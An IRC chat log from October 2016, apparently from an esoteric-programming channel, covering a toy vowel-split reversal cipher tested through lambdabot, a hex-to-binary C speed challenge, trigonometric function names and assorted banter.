←2016-10-27 2016-10-28 2016-10-29→ ↑2016 ↑all
00:02:54 -!- DHeadshot has joined.
00:06:31 -!- gniourf has quit (Read error: Connection timed out).
00:13:57 <\oren\> https://www.youtube.com/watch?v=_pUL7u-mYqA
00:19:35 -!- Froox has joined.
00:21:56 -!- Frooxius has quit (Ping timeout: 260 seconds).
00:22:13 -!- erdic has joined.
00:35:28 -!- erdic has quit (Ping timeout: 260 seconds).
00:36:16 -!- erdic has joined.
00:36:40 -!- DHeadshot has quit (Ping timeout: 265 seconds).
00:38:34 -!- DHeadshot has joined.
00:41:04 -!- erdic has quit (Ping timeout: 260 seconds).
00:57:43 -!- Phantom_Hoover has joined.
00:58:25 <hppavilion[1]> What's the metric unit K/m^3 called?
00:58:42 <hppavilion[1]> Wait, no, K/kg
00:58:48 -!- Phantom__Hoover has quit (Ping timeout: 260 seconds).
01:03:48 -!- erdic has joined.
01:09:23 <DHeadshot> You're not thinking of KPa (Kg/m^2) are you?
01:10:08 -!- jeffl35 has left ("Leaving").
01:12:03 -!- jeffl35 has joined.
01:12:06 <jeffl35> lel oops
01:21:22 -!- gniourf has joined.
01:33:39 <hppavilion[1]> DHeadshot: no hth
01:35:39 -!- heroux has joined.
01:37:09 <DHeadshot> hppavilion[1]: in which case, the unit is literally just kg/m^3 - not anything fancy...
01:38:18 <hppavilion[1]> DHeadshot: I said K/kg...
01:38:44 <hppavilion[1]> How is K/kg the same as kg/m^3
01:40:47 <DHeadshot> sorry, I read the first line and substituted in the second...
01:48:18 <shachaf> copumpkin: https://www.amazon.com/Griffin-BreakSafe-Breakaway-Chromebook-replacement/dp/B01CQTK6GU hth
01:48:37 <shachaf> Hmm, only up to 60W, though.
02:04:54 <hppavilion[1]> Here's a fun little symmetric transposition cypher
02:04:57 <hppavilion[1]> Not secure, but fun
02:05:05 <hppavilion[1]> The key is a set C of characters
02:06:05 <hppavilion[1]> It encrypts and decrypts a message by taking every part of the message between and excluding two characters in C (whether or not they're the same) and reversing their order
02:11:19 <hppavilion[1]> `? temperature
02:11:25 <HackEgo> temperature? ¯\(°​_o)/¯
02:12:18 <hppavilion[1]> `learn Temperature is measured in terms of reciprocal volume.
02:12:22 <HackEgo> Learned 'temperature': Temperature is measured in terms of reciprocal volume.
02:13:45 <shachaf> Is it?
02:19:58 <hppavilion[1]> shachaf: According to DHeadshot, yes
02:20:01 <hppavilion[1]> I think
02:21:00 <hppavilion[1]> Wait, no, it's square mass per volume
02:21:17 <quintopia> why would anyone want K/kg?
02:22:05 <hppavilion[1]> quintopia: ...no reason?
02:22:08 <hppavilion[1]> I... might have
02:22:16 <hppavilion[1]> I wasn't sure I was doing it right
02:24:01 <shachaf> `revert
02:24:13 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
02:24:20 -!- DHeadshot has quit (Ping timeout: 250 seconds).
02:24:29 <quintopia> i can maybe kind of see a situation in which might arise. like need to know what temperature to make an enclosure to heat a metal to a certain temp in a precise period of time
02:25:02 <quintopia> not sure it would scale linearly with volume though
02:25:07 <quintopia> probably not
02:25:18 <quintopia> shachaf: thachaf
02:38:28 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
02:43:58 -!- hppavilion[1] has joined.
02:50:13 -!- gniourf has quit (Ping timeout: 256 seconds).
02:54:03 * hppavilion[1] . o O ( What's the 3D equivalent of compass and straightedge? )
02:55:55 <hppavilion[1]> Can sine/cosine be applied to solid angle?
02:57:58 <hppavilion[1]> Ultimate pause:
02:58:06 <hppavilion[1]> ……… ……… ……… ………
02:58:06 <hppavilion[1]> ……… ……… ……… ………
02:58:06 <hppavilion[1]> ……… ……… ……… ………
02:58:16 <hppavilion[1]> Wait, crap
02:58:26 <hppavilion[1]> s/………$//g
02:58:36 <shachaf> do you mean
02:58:38 <shachaf> 🐾🐾🐾🐾
02:58:42 <shachaf> 🐾🐾🐾🐾
02:58:43 <shachaf> 🐾🐾🐾🐾
02:58:47 <shachaf> hth
02:58:50 <hppavilion[1]> shachaf: wat?
02:59:03 <hppavilion[1]> `? 🐾
02:59:04 <HackEgo> ​🐾? ¯\(°​_o)/¯
02:59:08 <hppavilion[1]> `unidecode 🐾
02:59:09 <HackEgo> U+1F43E PAW PRINTS \ UTF-8: f0 9f 90 be UTF-16BE: d83ddc3e Decimal: &#128062; \ 🐾 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals)
02:59:14 <hppavilion[1]> Oooh
02:59:20 <hppavilion[1]> `unidecode 🐾
02:59:22 <HackEgo> U+1F43E PAW PRINTS \ UTF-8: f0 9f 90 be UTF-16BE: d83ddc3e Decimal: &#128062; \ 🐾 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals)
02:59:24 <hppavilion[1]> Good
03:00:25 -!- godel has joined.
03:01:25 <hppavilion[1]> I think that you need 6 (rather than 3) trigonometric functions & their reciprocals for 3D trig (tetranometry?)
03:03:06 <hppavilion[1]> That is, if you divide area rather than edges for the right tetrahedron definition.
03:03:59 <hppavilion[1]> (Ah, it's called a trirectangular tetrahedron, despite entirely lacking rectangles)
03:05:06 <shachaf> in a polyhydron, every time you cut off one vertex, it's replaced by several
03:08:25 <hppavilion[1]> shachaf: Cut off one vertex, k more for k=the number of edges connecting, assuming only one vertex is removed, will take its place
03:08:32 <hppavilion[1]> Heil Hedron
03:08:55 * hppavilion[1] hopes that math was right
03:09:40 -!- Cale has joined.
03:15:26 <hppavilion[1]> Is the smallest shape that can be represented in euclidean n-space without curves or intersections always an (n+1)-hedron?
03:15:47 <hppavilion[1]> s/hedron/tope/
03:16:08 <alercah> what do you mean by "curve" and what do you mean by "shape" and what do you mean by "smallest" and what do you mean by "(n+1)-tope"
03:16:13 <alercah> and what do you mean by "represented"?
03:40:33 -!- augur has quit (Ping timeout: 260 seconds).
03:41:42 -!- DHeadshot has joined.
03:45:53 -!- Guest17733 has joined.
03:46:41 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
04:08:15 -!- DHeadshot has quit (Ping timeout: 252 seconds).
04:09:15 -!- Alcest has quit (K-Lined).
04:14:09 <izalove> stupid optimization challenge #3234: write a program that reads hex input and converts it to binary digits
04:15:13 * izalove has a fast one
04:16:03 <FaerieFly> reads hex digits (and only hex digits) on stdout, outputting 4 bits per digit?
04:16:08 <FaerieFly> as characters '0' and '1'
04:16:23 <FaerieFly> support for both uppercase and lowercase hex?
04:16:30 <izalove> no, output 4 bytes '0' or '1' per hex digit
04:16:48 <izalove> you can support only lowercase if you want
04:16:49 <FaerieFly> right, that's what I meant but phrased badly
04:16:51 <izalove> or only uppercase
04:17:11 <FaerieFly> hmhm
04:17:28 <FaerieFly> as a C program?
04:17:42 <izalove> use whatever language
04:17:55 <izalove> even brainfuck if you feel like it's gonna be competitive
04:18:01 <FaerieFly> Probably not :P
04:18:02 -!- pikhq has quit (Ping timeout: 244 seconds).
04:18:21 <FaerieFly> mostly curious what you used, for ease of comparing "algorithm" so to speak
04:18:29 <izalove> i used c
04:18:32 * FaerieFly . o O ( sed solution )
04:20:11 -!- pikhq has joined.
04:24:01 <FaerieFly> can't be arsed to benchmark it or really think too much, but here's something: http://xen.firefly.nu/up/hexdigits.c.html
04:24:19 <FaerieFly> I think it should be correct
04:24:52 <FaerieFly> Make sure to not feed a trailing newline, or if you do, ignore the trailing 1010 in the output
04:25:44 <FaerieFly> Hm maybe a LUT into a table of hardcoded strings would be faster
04:26:15 <FaerieFly> with the LUT getting cached early on.. but probably not since it's such a trivial computation
04:26:41 <Hoolootwo> that's what I was thinking, a direct index from the ascii character index into an array, aligned
04:27:12 <izalove> $ time ./fireflyh2b < /tmp/10m > /dev/null
04:27:14 <izalove> real: 0m3.978s, user: 0m3.677s, sys: 0m0.027s
04:27:17 <izalove> not bad as a first attempt
04:27:29 <Hoolootwo> on a modern CPU that would likely be fastest, but it's really hard to say because there's a lot of magic going on in CPUs
04:27:31 <FaerieFly> Let's try the LUT-of-all-256-bytes approach
04:27:36 <FaerieFly> actually
04:27:44 <FaerieFly> I guess you can hack that up, izalove
04:27:59 <FaerieFly> or I could, doesn't matter
04:28:00 <izalove> well i don't really need to <.<
04:28:07 <FaerieFly> Oh that's your solution? :p
04:28:13 <izalove> no
04:28:16 <FaerieFly> aw
04:28:18 <izalove> mine is _a_little_ faster
04:28:21 <FaerieFly> can you post yours, or is that too boring?
04:28:34 <Hoolootwo> I'm going to hack a LUT up
04:28:47 <izalove> try some more <.<
04:28:52 <FaerieFly> hmm
04:29:06 <FaerieFly> Well
04:29:09 <izalove> $ time for i in {1..10}; do ./izah2b </tmp/100m; done > /dev/null
04:29:12 <izalove> real: 0m6.729s, user: 0m5.053s, sys: 0m1.097s
04:29:27 <FaerieFly> welp
04:29:33 <FaerieFly> mine is terrible :P
04:30:17 <izalove> https://arin.ga/s89Spm/raw here it is, if you want to spoil the fun
04:30:22 <FaerieFly> 100m is uniformly distributed, yeah?
04:30:26 <izalove> i guess
04:30:29 <izalove> from /dev/urandom
04:30:32 <FaerieFly> right
04:31:08 <FaerieFly> Lol
04:32:10 <FaerieFly> does that posix_fadvise make a difference if you benchmark it?
04:32:27 <FaerieFly> (how would default-stdin not be read sequentially...)
04:33:10 <izalove> $ time for i in {1..10}; do ./izah2b </tmp/100m; done > /dev/null
04:33:12 <FaerieFly> but that's a neat function to know about though
04:33:13 <izalove> real: 0m6.785s, user: 0m5.023s, sys: 0m1.147s
04:33:25 <izalove> without fadvise ^
04:33:39 <FaerieFly> Hmm
04:33:51 <izalove> ok wait
04:33:54 <FaerieFly> I'm sort of terrified why it doesn't just always do that by default
04:34:05 <izalove> no wait it's my fault
04:34:13 * izalove has a tmpfs @ /tmp
04:35:23 <izalove> and the variance on my disk is too high to benchmark it
04:35:31 <FaerieFly> fair enough
04:35:47 <FaerieFly> I wonder if changing your h2d LUT to ((ch & 0xF) + (ch > 0x40) * 9)*4 affects performance?
04:35:53 <FaerieFly> i.e. my expression *4
04:36:11 <izalove> i'll try
04:38:27 <izalove> $ time ./izah2b < /tmp/100m >/dev/null
04:38:29 <izalove> real: 0m0.890s, user: 0m0.763s, sys: 0m0.093s
04:38:32 <izalove> with your expression
04:38:49 <izalove> with the table it's 0.6xxs
04:39:05 <FaerieFly> Hm
04:39:08 <izalove> https://arin.ga/ukqFii/raw
04:39:11 <FaerieFly> Surprised it makes such a difference
04:39:46 <FaerieFly> but good to know
05:19:16 -!- otherbot has quit (Remote host closed the connection).
05:19:49 -!- gniourf has joined.
05:33:26 <Hoolootwo> http://hooloovoo.blue/files/hoolootwo.c
05:33:52 <FaerieFly> this is a good domain name
05:33:53 <Hoolootwo> real 0m0.161s user 0m0.120s sys 0m0.040s
05:33:57 <FaerieFly> I approve of it
05:34:04 <Hoolootwo> thanks :)
05:37:22 <izalove> but why would you use printf for \n
05:40:06 <Hoolootwo> because this is a hack
05:40:46 <izalove> wat
05:41:03 <Hoolootwo> I guess a putchar would have sufficed
05:41:12 <izalove> still don't understand
05:41:28 <Hoolootwo> because that's the first thing I thought of, and it shouldn't affect performance
05:41:43 <izalove> ok
05:41:47 * izalove removes it
05:46:26 <Hoolootwo> I added a few optimizations, file is in the same place
05:47:13 <izalove> nice, it's faster than before
06:16:31 -!- oerjan has joined.
06:18:57 <hppavilion[1]> 'TIS GREATAR THAN 22 SCORE SCORE AND 10 SCORE!!!!!!!
06:19:40 -!- gniourf has quit (Ping timeout: 276 seconds).
06:20:09 <izalove> SCORE
06:21:14 <oerjan> gah dog slow internet
06:21:34 <shachaf> pooch scow
06:21:38 <hppavilion[1]> How does one represent an arbitrary rational number in unary?
06:21:52 -!- gniourf has joined.
06:21:57 <hppavilion[1]> (assume your digit is '|')
06:22:05 <oerjan> hppavilion[1]: first represent as natural number
06:22:21 <hppavilion[1]> oerjan: In a normal, decimal point notation plz
06:22:25 <hppavilion[1]> Place-value?
06:22:31 <pecan> https://en.wikipedia.org/wiki/Quote_notation I guess.
06:22:40 <oerjan> hppavilion[1]: wat
06:22:55 <oerjan> that makes no sense for unary afaict
06:22:57 <hppavilion[1]> oerjan: ||.|||||?
06:23:18 * oerjan hates to type when he cannot see what he writes
06:23:42 <hppavilion[1]> oerjan: Wat could possibly be causing that?
06:23:45 <shachaf> oerjan: https://mosh.org/ hth
06:24:17 <hppavilion[1]> (Hoo wat wen were wai how)
06:24:40 <oerjan> hppavilion[1]: trouble is, there's no abvious thing other than 1 to divide the thing after the point by, which obviously doesn't give you any non-integers
06:24:50 <hppavilion[1]> Yes
06:24:56 <hppavilion[1]> oerjan: Really fun is real numbers >:)
06:24:57 <oerjan> hppavilion[1]: dog slow internet and typing ahead hth
06:27:01 <oerjan> shachaf: it's a bad time to load web pages, obviously
06:27:24 <Hoolootwo> maybe just divide the one before the decimal point by the one after?
06:27:44 <oerjan> Hoolootwo: but then it's not really a decimal point
06:27:54 <oerjan> just a funny synonym for /
06:27:57 <Hoolootwo> maybe call it a fraction point?
06:28:02 <Hoolootwo> :P
06:28:18 <hppavilion[1]> cos(θ)+vsn(θ)
06:28:33 <FaerieFly> hppavilion[1]: just stick to unary fractions
06:30:32 <hppavilion[1]> Solve for theta = 30e°
06:30:42 <hppavilion[1]> s/theta/θ/
06:31:26 <oerjan> what's vsn
06:31:43 <hppavilion[1]> oerjan: versine
06:32:02 * oerjan not familiar
06:32:03 <hppavilion[1]> cvs is coversine (which seems like it should be called vercosine, but eh)
06:32:21 <hppavilion[1]> oerjan: Diagram hth: https://upload.wikimedia.org/wikipedia/commons/9/9d/Circle-trig6.svg
06:33:09 <oerjan> so 1-cos x?
06:33:27 <hppavilion[1]> oerjan: yes hth
06:33:34 <hppavilion[1]> oerjan: the answer is 1
06:33:44 <hppavilion[1]> It's always 1 forall θ
06:33:54 <oerjan> you know, in norway we only learn sin, cos and tan of those in high school, and i think that's an excellent policy hth
06:34:10 <hppavilion[1]> oerjan: We only learn sin/cos/tan here too
06:34:28 <hppavilion[1]> And later csc/sec/cot, which are easy
06:34:39 <oerjan> OKAY
06:34:48 <hppavilion[1]> (Though the sine <-> cosecant; cosine <-> secant thing is annoying)
06:35:00 <oerjan> by the fact they only showed up once i got university math books in english, i assumed it was an american thing
06:36:12 <hppavilion[1]> oerjan: Most of them are archaic, but still occasionally of use
06:37:06 <shachaf> ==oerjan
06:37:17 <shachaf> are csc and all those other things an american thing
06:37:25 <oerjan> . o O ( why won't the trigonometer stop using archaic terms )
06:37:25 <shachaf> they're kind of pointless hth
06:38:23 <hppavilion[1]> shachaf: csc(θ) = sin(θ)^-1, sec(θ) = cos(θ)^-1, cot(θ) = tan(θ)^-1
06:38:32 <hppavilion[1]> Mildly useful
06:38:40 <shachaf> worse than useless
06:38:50 <hppavilion[1]> shachaf: How so?
06:38:52 <Hoolootwo> what else would you use?
06:39:00 <shachaf> I would write sin(x)^-1
06:39:19 <hppavilion[1]> shachaf: I'd probably write a thing with a triangle and a line over it
06:39:34 <shachaf> trigonometry is about circles hth
06:39:57 <hppavilion[1]> shachaf: Triangles are important too and the circles describe it counter-hth
06:40:56 <oerjan> it's all in the name, trigon is the ancient greek for circle hth
06:41:00 <hppavilion[1]> (take a right triangle with width proportioned to height by the the golden mean (for aesthetic purposes); right angle at the right side, hypotenuse going up when read ltr, only draw hypotenuse and vertical edge)
06:41:31 <hppavilion[1]> (cosine only draws hypotenuse and the horizontal edge, tangent only draws the orthagonal edges)
06:42:37 <oerjan> *o
06:43:52 <hppavilion[1]> oerjan: What I really want is tetravertomy, which is all about spheres
06:43:55 <hppavilion[1]> And solid angle
06:44:42 <oerjan> surely it should tetrahedronometry
06:44:50 <oerjan> *+be
06:45:19 -!- Frooxius has joined.
06:45:56 <shachaf> oerjan: did you see my polyhydron pun earlier hth
06:46:13 <oerjan> probably not
06:46:36 <hppavilion[1]> oerjan: Perhaps?
06:47:07 <hppavilion[1]> oerjan: Of course, all of these are subfields of kplusuntopomy
06:47:23 -!- Froox has quit (Ping timeout: 265 seconds).
06:50:45 * oerjan stamps a large mirrored LERN2GREEK on hppavilion[1]'s forehead
06:50:51 -!- Froox has joined.
06:51:06 * izalove read it as lern2geek
06:51:25 <oerjan> nope hth
06:51:36 <oerjan> he's already overqualified for that
06:52:12 <izalove> joining this channel makes you overqualified
06:52:25 <izalove> i'm tempted to say that joining irc makes you overqualified
06:52:31 -!- Frooxius has quit (Ping timeout: 244 seconds).
06:56:54 -!- Froox has quit (Ping timeout: 250 seconds).
07:08:51 <hppavilion[1]> Hm, is there a way to simply undo (n >> n)?
07:09:26 <izalove> is that a right shift?
07:09:37 -!- Guest17733 has quit (Remote host closed the connection).
07:09:41 <izalove> if so, of course not
07:09:56 <izalove> n >> n = 0
07:13:36 <oerjan> <hppavilion[1]> ...I just realized the etymological relationship that "predicates" are "predicative" because they "predict" <-- surprisingly, that's incorrect. there are two different lating words "dico", one with short i, and one with long, and with different meanings. they're probably cognate if you go all the way back to PIE though.
07:13:48 <oerjan> *latin
07:13:51 <hppavilion[1]> oerjan: D:
07:14:40 <hppavilion[1]> oerjan: Proto Indo-Latin
07:17:03 <hppavilion[1]> Huh, I can use ^m to mute the current tab
07:17:08 <hppavilion[1]> Gut to know
07:22:06 -!- centrinia has joined.
07:23:25 <oerjan> next up: how to mute the tab that you cannot find.
07:25:42 <shachaf> oerjan: chrome shows a little icon on tabs that are playing music hth
07:26:16 <hppavilion[1]> oerjan: so does firefox iirc hthm
07:26:32 <oerjan> i knew you were going to say that.
07:26:51 <hppavilion[1]> Yep
07:26:57 <oerjan> fortunately it's not happening that often.
07:26:58 <hppavilion[1]> oerjan: Are you from the future?
07:28:01 <oerjan> my main annoyance recently is that wikipedia's pretty diff extension has stopped working reliably.
07:29:08 <oerjan> hppavilion[1]: no, just experienced with what happens every time i mention my browser
07:29:52 -!- centrinia has quit (Quit: Leaving).
07:30:02 <shachaf> oerjan: i only said it because it was predictable hth
07:30:09 <oerjan> i know.
07:30:45 <hppavilion[1]> oerjan: Wait, which browser do you use?
07:30:54 <oerjan> internet explorer hth
07:30:56 <hppavilion[1]> I thought that was directed at me...
07:32:54 <oerjan> well hypothetically it was. it's not like i know the details of how other browsers work.
07:37:30 <hppavilion[1]> oerjan: ...wait, were you serious about IE?
07:37:44 <oerjan> yes
07:38:32 -!- hppavilion[1] has quit (Quit: Leaving).
07:39:13 <oerjan> finally i convinced hppavilion[1] this channel is too crazy for him
07:42:03 -!- godel has quit (Ping timeout: 256 seconds).
07:51:18 -!- augur has joined.
07:54:43 <imode> anybody know a good, reliable place for static site hosting.
07:54:57 <izalove> dropbox :p
07:55:04 <imode> hah.
07:55:11 <izalove> amazon aws
08:03:51 -!- Frooxius has joined.
08:08:47 -!- augur has quit (Remote host closed the connection).
08:24:49 <\oren\> someone should derive proto-C-Pascal and see how much of algol they can reconstruct
08:30:02 <\oren\> or maybe I'll do something like they did to construct Ido
08:30:19 <\oren\> comparative analysis:
08:48:53 <\oren\> assignment: c '=' fortran '=' pascal ':=' perl '='
08:51:29 -!- hppavilion[1] has joined.
08:52:01 <hppavilion[1]> `wisdom
08:52:08 <HackEgo> oxford//The home of English, woven shirts, and the serial comma.
08:53:08 <hppavilion[1]> Debate Question: I have a teacher with lastname "Ingman". To pluralize her last name (e.g. to refer to a family), should one say "Ingmans" or "Ingmen"
09:00:56 -!- `^_^v has joined.
09:06:18 <oerjan> `slwd oxford//s/T/Oxford is t/
09:06:21 <HackEgo> wisdom/oxford//Oxford is the home of English, woven shirts, and the serial comma.
09:09:00 <\oren\> does england have a separate capital from that of the the UK
09:13:05 <oerjan> i don't think so.
09:13:29 <oerjan> england doesn't have a separate parliament
09:13:53 <oerjan> (and it's pretty recent that any of the other parts got them)
09:22:25 <oerjan> @let hpciph c = reverse <=< groupBy ((&&)`on`(`notElem`c))
09:22:29 <lambdabot> Defined.
09:22:46 <oerjan> > hpciph "aeiou" "Testing hppavilion[1]'s cipher"
09:22:49 <\oren\> non non biyori is hilarus
09:22:51 <lambdabot> "Tetsipph gnavilioc s']1[nihper"
09:23:35 <hppavilion[1]> oerjan: Just weird enough to confuse humans, not powerful enough to be secure :)
09:23:39 <\oren\> hey gnavilioc, your cipher reavls too much!
09:23:58 <hppavilion[1]> (But maybe if I took the bitstring down, flipped it, and reversed it...)
09:24:07 <hppavilion[1]> > hpciph "aeiou" hppavilion[1]
09:24:10 <lambdabot> error:
09:24:10 <lambdabot> • Couldn't match expected type ‘[Integer] -> t’
09:24:10 <lambdabot> with actual type ‘[Char]’
09:24:20 <hppavilion[1]> > hpciph "aeiou" "hppavilion[1]"
09:24:22 <lambdabot> "pphavilio]1[n"
09:24:39 <hppavilion[1]> \oren\: You were saying?
09:24:53 <oerjan> i suppose you technically didn't say the end parts should be reversed
09:25:05 <hppavilion[1]> oerjan: I didn't, but I meant it
09:25:14 <hppavilion[1]> At least, that's how it works in my implementation
09:25:15 <oerjan> yay
09:25:29 <hppavilion[1]> That's only one though; this one is named 'split-reverse' in the lookup
09:25:47 <hppavilion[1]> s/reverse/flip
09:26:02 <hppavilion[1]> s#$#/#
09:26:19 <hppavilion[1]> Oh, it's multi-split-reverse
09:26:23 <hppavilion[1]> bah
09:26:27 <hppavilion[1]> s/reverse/flip/
09:26:47 <hppavilion[1]> There's another one ACTUALLY called 'multi-split-reverse' that instead reverses the order of things on the split rather than the split items
09:27:17 <hppavilion[1]> But the more interesting one, IMO, is multi-split-rotate, which instead rotates each string
09:27:40 <oerjan> @let hpciph2 c = concat . reverse . groupBy ((&&)`on`(`notElem`c))
09:27:42 <lambdabot> Defined.
09:27:54 <oerjan> > hpciph2 "aeiou" "Testing hppavilion[1]'s cipher"
09:27:57 <lambdabot> "rephin[1]'s coilivang hppisteT"
09:28:16 <oerjan> like this?
09:28:28 <hppavilion[1]> oerjan: To test that your implementation (of the first one) is conformant
09:28:31 <hppavilion[1]> oerjan: ...yes?
09:28:34 <hppavilion[1]> I'll check
09:28:44 <hppavilion[1]> key "aeiou", cyphertext " Iaht med al kros dratnacu ,sah dnavec omet od evoy ruohc ruirdleB .nob wefore ym uhnorw yla ,htob rec osnumew diy hto ruorpsffir dnA .gnemebmek riH :sdehw of im sthgotsnehs srob dluec areful ,leh tseb ecome am otsneh risme ;flahw dney nog uazel o gnitno a naht ,ssybe am ssybag yaze itnoy ou.
09:28:44 <hppavilion[1]> "
09:28:56 <hppavilion[1]> And canonically, cypher should have a 'y' ;-;
09:29:12 <oerjan> hppavilion[1]: can you do it, i have trouble with multiline copying
09:29:30 <hppavilion[1]> oerjan: Do you have a decry- oh, right, it's identical
09:29:37 <oerjan> (the new version of irssi broke the feature that made it easy)
09:30:08 <hppavilion[1]> > hpciph "aeiou" " Iaht med al kros dratnacu ,sah dnavec omet od evoy ruohc ruirdleB .nob wefore ym uhnorw yla ,htob rec osnumew diy hto ruorpsffir dnA .gnemebmek riH :sdehw of im sthgotsnehs srob dluec areful ,leh tseb ecome am otsneh risme ;flahw dney nog uazel o gnitno a naht ,ssybe am ssybag yaze itnoy ou."
09:30:11 <lambdabot> "I am the dark lord santacus, and have come to devor yuor chuildren. Bow bef...
09:30:19 -!- `^_^v has quit (Read error: Connection reset by peer).
09:30:21 <hppavilion[1]> I'll just assume the rest is right
09:30:26 <hppavilion[1]> Wait, not quite
09:30:39 <hppavilion[1]> Oh, huh
09:30:39 <oerjan> lambdabot gives longer answers in private
09:30:51 <hppavilion[1]> oerjan: Yeah, but 'yuor chuildren'
09:31:08 <hppavilion[1]> My implementation has the same flaw, so it's a design issue
09:31:27 <oerjan> hppavilion[1]: you reverse the consecutive C members too?
09:31:30 -!- `^_^v has joined.
09:31:43 <oerjan> or rather, should?
09:31:50 <hppavilion[1]> oerjan: Wait, wat?
09:31:53 <hppavilion[1]> C members?
09:32:12 <hppavilion[1]> I think I see the issue is that consecutive vowels are dropped or... something in my impl
09:32:16 <hppavilion[1]> s/vowels/K/
09:32:20 <hppavilion[1]> Or whatever
09:32:27 <hppavilion[1]> Consecutive characters-in-the-key-set
09:32:47 <oerjan> hppavilion[1]: in my implementation consecutive vowels are kept in the original order
09:32:54 <hppavilion[1]> oerjan: Same here
09:32:56 <oerjan> that's how i interpreted your description
09:33:03 <hppavilion[1]> oerjan: That's what I did too
09:33:16 <hppavilion[1]> (Really fun would be to reverse the order of the vowels before rejoining...)
09:33:22 <oerjan> @let hpciph3 c = reverse <=< groupBy ((==)`on`(`notElem`c))
09:33:25 <lambdabot> Defined.
09:33:28 <oerjan> try this one
09:33:37 <hppavilion[1]> oerjan: ...what does it do?
09:33:41 <hppavilion[1]> I can't monad
09:33:53 <hppavilion[1]> > hpciph "aeiou" "I am the dark lord santacus, and have come to devour your children"
09:33:55 <lambdabot> " Iaht med al kros dratnacu ,sah dnavec omet od evouy rouhc rirdlen"
09:33:57 <oerjan> the monad part isn't what i changed >:)
09:34:13 <oerjan> hppavilion[1]: note name change
09:34:15 <hppavilion[1]> > hpciph "aeiou" " Iaht med al kros dratnacu ,sah dnavec omet od evouy rouhc rirdlen"
09:34:17 <lambdabot> "I am the dark lord santacus, and have come to devour your children"
09:34:29 <hppavilion[1]> Yeah, so your implementation works better than mine
09:34:33 <hppavilion[1]> :,(
09:34:45 * oerjan swats hppavilion[1] -----###
09:34:54 <oerjan> I IMPLEMENTED A NEW FUNCTION
09:34:57 <hppavilion[1]> oerjan: Is cyph3 derived from 2 or 1?
09:35:04 <oerjan> from 1
09:35:08 <hppavilion[1]> OK
09:35:25 <hppavilion[1]> > hpciph3 "aeiou" "I am the dark lord santacus, and have come to devour your children"
09:35:27 <lambdabot> " Iaht med al kros dratnacu ,sah dnavec omet od evuoy ruohc rirdlen"
09:36:37 <hppavilion[1]> oerjan: ...?
09:37:54 <oerjan> hppavilion[1]: now it does reverse the vowel groups
09:38:10 <hppavilion[1]> > hpciph3 "aeiou" (hpciph "aeiou" "I am the dark lord santacus, and have come to devour your children")
09:38:13 <lambdabot> "I am the dark lord santacus, and have come to devuor yuor children"
09:38:19 <hppavilion[1]> Oooooh
09:39:37 <hppavilion[1]> oerjan: When I said reverse the order of the vowels, I was aiming for something a bit different and more evil
09:40:03 <oerjan> i think i know what you meant, and it's hard to adapt this implementation to it
09:40:11 <hppavilion[1]> The vowel groups stay the same, but you join back up on them in reverse order
09:40:20 <hppavilion[1]> oerjan: Yes xD. It's a rather convoluted idea
09:40:50 <hppavilion[1]> I was just doing cyphers because I needed a good streamed Vigenere implementation because my sister and I are reading Gravity Falls Journal #3
09:41:12 <hppavilion[1]> And there's an entire, 3-page letter written in Viginere. I have to enter it into the computer by hand to get the output.
09:41:31 <hppavilion[1]> At least I guessed the key...
09:42:24 <hppavilion[1]> Kvart över elva, halv tolv.
09:43:06 <oerjan> not in about another half hour hth
09:43:15 <oerjan> *not for
09:43:52 <hppavilion[1]> oerjan: ...I was trying to figure out what it means
09:44:02 <hppavilion[1]> If the time is 11:15 (quarter past 11)
09:44:26 <hppavilion[1]> (or 23:15 if it means PM)
09:44:35 <oerjan> it can mean either
09:44:38 <hppavilion[1]> It's 45 minutes to 12:00 (or 24:00/00:00)
09:44:52 <hppavilion[1]> oerjan: Figured
09:45:48 <\oren\> https://www.youtube.com/watch?v=CaWg298hzro
09:45:59 <oerjan> xkcd has updated but not freefall...
09:46:18 <hppavilion[1]> \oren\: This is a good world
09:46:41 <\oren\> is there anyhting that cruel angel's thesis doesn't go with?!?
09:47:07 <hppavilion[1]> \oren\: Probably?
09:47:57 <hppavilion[1]> \oren\: Perhaps... my little pony: friendship is magic, season 5 finale (part 2), climactic lazer death battle (I swear it's true and 100% canon)
09:50:06 * hppavilion[1] should figure out what Attack on Titan is
09:50:37 <oerjan> `? temperature
09:50:38 <HackEgo> Temperature is measured in terms of reciprocal volume.
09:50:44 <oerjan> `forget temperature
09:50:47 <HackEgo> Forget what?
09:50:50 * oerjan swats shachaf -----###
09:59:50 <hppavilion[1]> I got 99 tabs
10:00:02 <hppavilion[1]> Now I don't
10:00:06 <hppavilion[1]> Life is a fickle thing
10:02:36 <hppavilion[1]> Wait, not season 5, season 4
10:05:48 <\oren\> hppavilion[1]: open another 99
10:05:52 -!- oerjan has quit (Quit: Later).
10:06:26 <hppavilion[1]> \oren\: 99 disk-draining tabs on the drive
10:18:48 -!- imode has quit (Ping timeout: 245 seconds).
10:29:51 -!- Yurume|q_ has quit (Remote host closed the connection).
10:31:07 -!- Yurume|q has joined.
10:47:03 <hppavilion[1]> It annoys me when people say "guess what", especially when they insist that you guess
10:47:12 <hppavilion[1]> So I'm making a random sentence generator that will provide a guess
10:47:12 <izalove> hppavilion[1]: guess what
10:47:33 <hppavilion[1]> izalove: muff plf yjcu dlzyabsm yqkb bw jywp pvnpdeqw gmnzzb fxkeaae vk vkfts‽
10:47:40 <izalove> lame
10:47:50 <hppavilion[1]> izalove: That was what I hacked together in 10 seconds
10:48:01 <izalove> then improve it
10:48:12 <hppavilion[1]> izalove: I'm going to start improving it by mixing in real words, some phonetic rules, and punctuation
10:48:19 <izalove> `` type shuf
10:48:23 <HackEgo> shuf is /usr/bin/shuf
10:48:33 <izalove> `` shuf -n10 /usr/share/dict/words
10:48:34 <HackEgo> shuf: /usr/share/dict/words: No such file or directory
10:48:37 <izalove> come on
10:49:49 <hppavilion[1]> Hm, I wonder if I can still remember how to type PHNGLUI MGLW'NAFH CTHULHU R'LYEH WGAH'NAGL FHTAGN
10:50:01 <izalove> apparently not
10:50:16 <hppavilion[1]> Oh, it's PH'NGLUI
10:51:10 <Jafet> izalove: it's not too difficult to max out memory while converting hex to binary, by the way: http://sprunge.us/YbTg
10:51:28 <Jafet> (3GB/s in cache, 1.5GB/s in memory on my computer)
10:51:57 <izalove> i can't try that :X
10:52:11 <izalove> no avx...
